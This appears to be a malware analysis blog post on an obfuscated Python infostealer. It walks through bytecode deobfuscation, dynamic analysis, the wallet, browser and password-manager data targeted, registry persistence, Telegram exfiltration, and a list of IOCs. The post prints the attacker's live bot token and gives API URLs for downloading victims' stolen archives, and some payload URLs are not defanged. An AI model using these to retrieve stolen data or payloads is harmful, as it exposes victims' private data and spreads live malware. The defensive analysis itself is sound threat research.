We can now verify that the file written on the disk is a real .pyc:

file stage4.pyc

stage4.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

Inside the .pyc file written on disk by the previous program, we have a bunch of garbage:

We are dealing with a .pyc file, which is a compiled Python script. Since the source code is unavailable, the standard approach would be to use a decompiler; however, the output is unusable and filled with junk data. The alternative solution is to disassemble the file to inspect the bytecode instructions directly. Fortunately, Python’s native dis library makes this straightforward. To obtain a clean disassembly, we simply need to append dis.dis(code) to the end of our script, filter out the keyword morphisec (which pollutes the code) using grep, and redirect the output to a file:

python3.10 deobfuscated.py | grep -v "morphisec" > decomp.txt
-rw-rw---- 1 root root 154K Dec 22 20:07 decomp.txt
pycdc

The disass/decompile part is not working with pycdc due to the obfuscation

For your information, if we kept the disassembly without grepping-out morphisec, the file weights 4.3G

-rw-rw---- 1 root root 4.3G Dec 22 20:19 raw.txt

Now we can see the content of decomp.txt. It’s important to note the Names, that can be very indicative on what the script is doing. For the moment we can see keywords linked to sys, requests, HKEY_CURRENT_USER….

The OPCODES look like this:

I managed to open in VScode the raw.txt (instructions without grepping out morphisec):

And yes….. The obfuscation is real because I managed to open the raw OPCODEs extracted from dis.dis(code). And yes, it weighs many Gigabytes:

During the painful static analysis with the .pycfile, I found out a discriminant word: deptraicogisai6. A quick Google dork shows us few things:

I ended up on this post:

Which contains the slur string:

We can translate it with Deepl:
Which is literally our issue here. If you want to have fun, go check here (no Facebook account needed https://www.facebook.com/groups/722235230123399/posts/1064571269223125/).

The garbage OPCODE inside the disassembled .pyc file are useless but a good example of obfuscation. Pycdc didn’t work out for the decompilation part due to the control flow and logic behind the program. Yeah okay static analysis won’t work because our threat actor made it basically horrible to get back to the normal .py file. Let’s bring the dynamic analysis part.

Once executed as it was meant to be executed, we can quickly notice that our infected machine is communicating with abnormal domain names: t.me andapi.telegram.org (Telegram), urlvanish.com, ipwho.is, mongky68.godohosting.com and bagumedios.cloud.

mongky68.godohosting.com is in reality an alias to godoxnxkre.ecn.cdn.infralab.net:

  • which is an alias to goeg.c-cdn.infralab.net.
  • which is an alias to godo.farm.gazelzone.com.
  • which resolve as 112.214.46.102

The py.ico is downloading two files (the next stages) from mongky68.godohosting.com via HTTP.

The URL of the downloaded files are http://mongky68.godohosting.com/detail/nonlocal/23summer/ABE

And http://mongky68.godohosting.com/detail/nonlocal/23summer/PA/pure

Different behaviour

Depending the number of executions of the file, it might be downloaded from hxxp://mongky68[.]godohosting[.]com/detail/nonlocal/23summer/PA/PA?referer=urlvanish.com%2Ffe44f1ba. In any cases, the file stays the same.

We have seen that the ABE file is downloaded from hxxp://mongky68[.]godohosting[.]com in the first place.

The file is base64 encoded:

And happened to be a PE file (DLL)

file ABE
abe.exe: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

For now, we don’t need any static or dynamic analysis of this file, but this program is related to Web browser.

The file pure is another embedded python bytecode, just like the py.ico.

We can do the same as the py.ico file:

import marshal, zlib, bz2, base64
import importlib, dis
  
code_bytes = zlib.decompress(bz2.decompress(base64.b85decode(b"LRx4!F+o`-Q(3^2tS<tv5r6.......")


code = marshal.loads(code_bytes)
# put it in a .pyc file
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)

# write the .pyc on the disk
with open("pure.pyc", "wb") as f:
	f.write(pyc_data)
	
dis.dis(code)

We can grep out morphisec from the standard output (dis.dis(code)), then redirects the output in a text file. We still have our pure.pyc but this one is useless because common Python Decompilers are crashing due to the control flow as we have seen before.

-rw-rw---- 1 root root 117M Dec 21 17:25 pure.pyc
-rw-rw---- 1 root root  17M Dec 22 21:02 pure.txt

We can see that there is some memory allocation with a base64 encoded shellcode:

At the line 18915 we can see the anti analysis mechanism:

Snippet of the disassembled bytecode showing the massive injection of junk functions containing the string _ngocuyen, which might be a cropped version of the Vietnamese-origin guy from Facebook:
Screenshot from the Facebook post

As seen on the network capture, the malware reaches afterward the URL https://bagumedios.cloud/assets/media/others/clip. This is yet another python bytecode where we can barely perform a static analysis. We can extract OPCODES by grepping out as I mentioned earlier. It gives us another bunch of OPCODES that are not that useful. For this analysis, I prefer the dynamic way.

Along the dynamic analysis, the infostealer also grabs files from many desktop cryptocurrency wallets (MetaMask…), VPN clients (ProtonVPN, OpenVPN) as well as applications such as Telegram, and much more. We can notice that by looking inside ProcMon, on the filed queried. It looks like this:

But it’s not easy to query. We can export it in CSV grep it as we want:

awk -F',' '{print $5}' procmon.CSV | grep "AppData" | sort | uniq

Based on the output, I managed to see what software the infostealer was looking for.

The stealer is explicitly hunting for standalone wallet applications.

  • MultiDoge: A lightweight Dogecoin client. It targets .wallet files here.
  • MyMonero: A wallet for Monero (XMR). Stealers prioritize this because XMR is untraceable and highly valuable to cybercriminals.
  • Opera Crypto: A specific version of the Opera browser designed with a built-in crypto wallet.
  • CryptoTab Browser: A browser capable of mining cryptocurrency; the stealer will look for the user’s mining balance and affiliated wallet credentials.
  • Binance Wallet
  • MetaMask
  • Phantom : Solana wallet
  • TronLink : Wallet for TRON
  • XDEFI Wallet
  • Yoroi : Wallet Cardano (ADA).
  • OpenVPN Connect: explicitly querying %APPDATA%\Roaming\OpenVPN Connect\profiles.
  • ProtonVPN

The infostealer queried a massive array of Chromium-based and Gecko-based browsers. The malware targets the User Data directories to extract Local State (encryption keys), Login Data (passwords), Cookies, History and Web Data (autofill). It takes place on many browsers:

  • Mozilla Firefox: (See specific files below).
  • Brave-Browser (and Nightly build).
  • Opera (Stable, GX, and Crypto).
  • Chromium.
  • Avast Software Browser & AVG Browser.
  • CCleaner Browser.
  • Comodo Dragon.
  • Arc.
  • Aloha.
  • 360Browser / 360extremebrowser (Popular in China).
  • CocCoc (Popular in Vietnam - aligns with the “Deptraicogisai6” attribution).
  • Amigo.
  • CentBrowser.
  • Chedot.
  • BlackHaw

I extracted the extension ID:

awk -F',' '{print $5}' procmon.CSV | egrep -o "[a-z]{32}" | sort | uniq > ext.txt

And wrote a script to lookup the extension ID in order to find the name:

import requests
from bs4 import BeautifulSoup

def get_extension_name(ext_id):
    url = f"https://chromewebstore.google.com/detail/{ext_id}"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            title = soup.title.string
            name = title.replace(" - Chrome Web Store", "")
            return name
        else:
            return "Not Found (Might be removed or private)"
    except Exception as e:
        return f"Error: {e}"

# Read IDs from file
with open("ext.txt", "r") as f:
    extension_ids = [line.strip() for line in f if line.strip()]

for ext_id in extension_ids:
    name = get_extension_name(ext_id)
    print(f"{ext_id}: {name}")

After a few changes on the output (duplicatas…), I ended up with:

Extension List 1 Extension List 2 Extension List 3
Ambire Web3 Wallet Atomic Wallet Auro Wallet
Authenticator Backpack Bitget Wallet - Crypto, Web3 | Bitcoin & USDT
Bitwarden Password Manager Braavos: Bitcoin & Starknet Wallet Browserpass
Byone Chrome Web Store CLV Wallet
Coin98 Wallet Extension: Crypto & Defi Coinbase Wallet extension Coinhub
CommonKey Compass Wallet for Sei Cosmostation Wallet
Crypto.com | Onchain Extension Ctrl Wallet Cyano Wallet
Dashlane — Password Manager Ecto Wallet Enkrypt: ETH, BTC and Solana Wallet
Eternl EVER Wallet Exodus Web3 Wallet
Finnie Fluvi Wallet GAuth Authenticator
Glass wallet | Sui wallet Goby Guarda
Hashpack HAVAH Wallet ICONex
iWallet KardiaChain Wallet KeePassXC-Browser
Keeper® Password Manager & Digital Vault Keeper Wallet Keplr
LastPass: Free Password Manager Leap Terra Wallet Leather
Leo Wallet Magic Eden Wallet Martian Aptos & Sui Wallet Extension
MathWallet MetaMask MultiversX Wallet
MYKI Password Manager & Authenticator MyTonWallet · My TON Wallet Nami
NeoLine Nightly NordPass® (legacy)
OKX Wallet OneKey: Secure Crypto Wallet OpenMask - TON wallet
Oxygen - Atomic Crypto Wallet Pali Wallet Petra Aptos Wallet
Phantom Polymesh Wallet Pontem Crypto Wallet - Eth, Sol, BTC +
Pulse Wallet Chromium Rabby Wallet Rainbow
Ready Wallet (Formerly Argent) RoboForm Password Manager Ronin Wallet
SafePal Extension Wallet Sender Wallet Solflare Wallet
Splikity Station Wallet SteemKeychain
SubWallet - Polkadot Wallet Talisman Wallet Temple Wallet
TezBox - Tezos Wallet TON Wallet Tonkeeper — wallet for TON
TronLink Trust Wallet Uniswap Extension
Venom Wallet Xverse: Bitcoin Crypto Wallet Yoroi
Zoho Vault - Password Managerx

During the dynamic analysis, I noticed that the program achieved persistence by setting a Run Registry Key named Windows Update Service, which executes the program py.ico once again at startup.

Then, we have seen that the stealer is communicating to Telegram but I wasn’t able to find the bot ID in the normal way. The Python obfuscation is too annoying in the static analysis phase. I found a workaround for the exfiltration. Basically, we can find our processes living their own life once the command line executed (svchost1.exe DLLs\py.io MRB_2_NEW_VER_BOT):

So I created a dump file:

And then I ran strings -n 6 svchost1.DMP | grep -v "morphisec" to perform another type of static analysis.

By inspecting the strings, we can We can find what kind of data is sent upon Telegram:

Prior to transferring the exfiltrated data, the malware stage data into a zip file using the following name format: [CC_IPADDRESS] HOSTNAME.zip where CC stands for country code. Here’s an example: [JP_33.82.57.8] FLAREVM.zip

The stealer is harvesting sensitive informations from the list of software mentioned earlier. It transfers the zip file over Telegram with the following caption: IP: <IPV4>\nCountry: <flag emoji> <COUNTRYCODE> - <COUNTRY>\nUsername: auteqia[FLAREVM]\nAntiVirus: Windows Defender\nData Information: CK:63|PW:0|AF:22|CC:0|IBAN:0|TK:0|FB:0|Sites:0|Wallets:6|Apps:0

There is at least two channels linked to the bot: Notification and Reset (Seen in the title key in json). One for the registration and one for the continuous exfiltration.

We already found the Telegram BotID: 7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE With what we have seen, we can determine that MRB_2_NEW_VER_BOT is a Telegram bot:

It can be verified inside the dumped strings:

We also have MRB_NEW_VER_BOT bot too but this one is documented:

By querying the endpoint getMe we can get the username of the bot:

https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getMe

It gives us:

{
  "ok": true,
  "result": {
    "id": 7755709066,
    "is_bot": true,
    "first_name": "ㅤ",
    "username": "Logs_Data_bot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false,
    "can_connect_to_business": false,
    "has_main_web_app": false
  }
}

Same for the endpoint getChat (chat_id can be found inside the strings):

https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getChat?chat_id=-1002804802878

The results:

{
  "ok": true,
  "result": {
    "id": -1002804802878,
    "title": "Reset Logs",
    "type": "channel",
    "can_send_gift": true,
    "has_visible_history": true,
    "can_send_paid_media": true,
    "accepted_gift_types": {
      "unlimited_gifts": true,
      "limited_gifts": true,
      "unique_gifts": true,
      "premium_subscription": false
    },
    "available_reactions": [],
    "max_reaction_count": 11,
    "accent_color_id": 3
  }
}

In the end, we can determine the Telegram infrastructure of the threat actor:

  • ID: 7755709066
  • Username: @Logs_Data_bot
  • Token: 7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE Data Exfiltration Channel (The Destination):
  • Channel ID: -1002804802878
  • Channel Title: “Reset Logs”

If you want to see what the malware stole on the computer, you can download the file from Telegram itself (OPSEC WARNING!). To accomplish this task, let’s rewind a bit.

Now we will need to query the Telegram API to find the path of our file, let’s hunt for the file_idfield inside the dumped strings:

Once you find it, query this URL with the right file_id:

https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getFile?file_id=BQACAgUAAyXXXXXXXXXXXXXXXXXX1NgQ

It will give you the file_path:

Now you have the file path, you can download it directly from this URL:

https://api.telegram.org/file/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/documents/file_0.zip

You can discover what have been stolen!

IOCs

sha256 Note
c340a276f08c1a59ff2385ca565d2eee8afc8c4522c8d082cd043601b84f2319 pure (Python Bytecode)
1b045316906727988dbc5368ac80950e3ee3684a079d9b602fd8f18ef3e9e07c ABE (base64)
6163656496580f21fce26776df350af6d931a1c0c1cfff16243776989b482796 abe.dll (converted from b64)
b26e39b39af0c527402dac20552545e1ff6381f71647e02502a5e114a1d1c338 py.ico
5372e7164f20398676ddc53be3609b624372d11177fa319745f66bc5b40e8618 clip (downloaded from bagumedios.cloud)
ed5333b818526548ba65c14351c29303f83d9db3496643016c5e708d67e4cbc9 Evidence contained in the investigation dossier.zip
4ba6f37b942d8179e528256a3ac0cb508580fbeb5e01e228deafcc545bd3c0d8 Evidence contained in the investigation dossier.exe
9cffb87b56c40283ad505a3d5895b72663d9d8d7e5d070a8d5818d60820de10b DA 성형외과 재무 보고서.pdf (payload in base64)
4a5c95b95c045cd8baa18b550974c405d2985ae2bc9b93403b7775e4e5978798 Invoice.pdf (base64 decoded)
d38af69f488fc6f99188f77742a056d490cc86e27a69eeb5bb7b498e8a09fc8d File inside -
3c172e0cf52e207ec3d4fe4bbf09bd26c04c61dfe63128f54506796e088d0ba5 File inside -
7b6b377e3645e9deaadbc437ea7dad599e5cfa542f99713fa65af6d2f6e68cc5 File inside -
a5a10fe0c798b46e38c36e282e0da0624be8f51797b39f17b5c7a009d630cb7a File inside -
d4c186b249e839b9a9d7140ff24eb2cf4f9b292e8f2b199d853285e472055d29 File inside -
8be97accd5630b48bb6218092e978a6b48aaac8f51d6d7e7582e76eb70b8779b File inside -
074ffa6d1ce1316ade5c789c2704ec0b31407f1712039e50ee392d82d08674b1 File inside -
610e9bda397789b77d89a2381f9df551a30b2e355cfc820414f87ea634481ecd File inside -
aa5984c718f5a3e456e593d7f6de524ec01f784294a8dadf3a64daa8fa993cd7 File inside -
0c27236db73c2d7660c995562305e900a4f587fc468271e6d8fb57334097a500 File inside -
3410018b299fd11584591dd88bd41198a84a14a879c5f6fe26eb72cfd8dc66df File inside -
5aaa15ddbef8f1da55ee699fc57b4d857a9c798e53a0a76aea272b1904802e4f File inside -
e2b275b978d87bbe0af95ee7308276179101f53ba91b2044534939f237f54996 File inside -
a3605f3614783b9f43c44527660ca769b963a53677563ad724c038ad810f7a2f File inside -
bed5105f0ae89d8dad5a04bfe153f102c1c82abb46599da7a9b4e53b18db5644 File inside -
c7a932bba605af481b7608df35f979abce9a59adc792c2f6ceee195d3554d371 File inside -
ebc8a75ddc9930154f8cd78e6fb04032d800e18114f0fe8eafa95c332d4f1cef File inside -
95e9f449c0523006af65fbcf774cf5bab366b0adbc9a074bb870625f7602c778 File inside -
af73005650fad6d6856bafd7e3559fd03916b374f62a4911ede4ec9a9a394c2d File inside -
87b87c97dd3bd01837e13046b1958cf7135427c6d8038d51dd81f7d697c1580b File inside -
a910124ef32b78c0a1307928853970a4bea6795c1bf09fbe829790ce5d78ff14 File inside -
2dd8c91f596517610371c2b13a7021a80adc220d2397b8f5db0d9ce62533b6f3 File inside -
2c3d06e3fdf02fdc57455bb2524d5749fa5874be69e40dbac4c0c35fc9ab77fd File inside -
e0bcb5f25bb15999a5ffbb9cb78535687b06322003f0ebb8af93fafd80ed52b4 File inside -
e4b3150f0116c398e816761094e4aa324a943a5082c106d177878db53ecb1ea7 File inside -
e0f2872f5c02579edc3e34f22d695303793409841f0d823096b92c88c471f596 File inside -
22bb51db3bcd4b808d3b4085cd4a68dbf4a08a2a5eaefb975207a98645e0d5c3 File inside -
f4e334a44d9e1284468e529fa666164c01378bac5aca2c10d77e9ba5b5bb3c23 File inside -
9d729fec34a8dd31c7e661095c5d5fd02d6842e2a87e5a82af2b6b1d3cb5a1de File inside -
4135cda55fc22f6fca0151e5de831ca970577e3c7bbe73f850c89671c51321c2 File inside -
4a5c95b95c045cd8baa18b550974c405d2985ae2bc9b93403b7775e4e5978798 File inside -
4202b6501b5c0f905d956f00113447b49fa4e861a968b9b1a2ba77f53aedaf5f File inside -
d9291b2b9378eb5ce12e400a3a983d1e16104c02d36b3cee7ae88c8846f733be File inside -
3d8a1df21fa869b78b869dd849ef3199d090cd998f102e07eb9d9650ebe4dede File inside -
Domain name
mongky68.godohosting.com
bagumedios.cloud
pa.alliedworld.co.za
URL Note
hxxps://bagumedios.cloud/assets/media/others/clip Python bytecode
hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/PA/PA?referer=urlvanish.com%2Ffe44f1ba Alternative URL
hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/ABE Download for DLL
hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/PA/pure Python bytecode
hxxps://tr.ee/JQt3ks Initial URL (shortener)
hxxps://pa.alliedworld.co.za/dowload.php?id=e5f53b7c3b Initial resolution IRL